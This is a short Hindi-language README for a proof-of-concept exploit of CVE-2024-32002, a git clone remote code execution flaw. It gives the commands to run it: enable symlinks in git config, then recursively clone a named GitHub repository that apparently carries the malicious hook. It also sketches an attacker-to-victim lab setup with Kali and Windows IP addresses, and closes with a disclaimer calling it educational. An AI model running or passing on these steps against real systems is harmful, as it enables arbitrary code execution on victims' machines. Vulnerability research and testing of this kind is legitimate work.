CVE-2024-32002 PoC

1. आपको git का सिम्बोलिक लिंक विकल्प इस प्रकार सेट करना होगा:

git config --global core.symlinks true

2. फिर निम्न कमांड द्वारा CVE-2024-32002 का शोषण करें:

git clone --recursive https://github.com/EQSTSeminar/git_rce.git

हमला परिदृश्य

kali(192.168.216.129) --दूरस्थ रिपॉजिटरी पता प्रदान करता है--> Win(192.168.216.130)

kali(192.168.216.129) <--Git clone && हुक स्क्रिप्ट(post-checkout) निष्पादन-- Win(192.168.216.130)

अस्वीकरण

यह रिपॉजिटरी CVE-2024-32002 के लिए git clone RCE शोषण होने का इरादा नहीं है। इस परियोजना का उद्देश्य लोगों को इस भेद्यता के बारे में सीखने में मदद करना है, और शायद अपने स्वयं के अनुप्रयोगों का परीक्षण करना है।

विश्लेषण

https://skshieldus.com/eng/business/insight.do#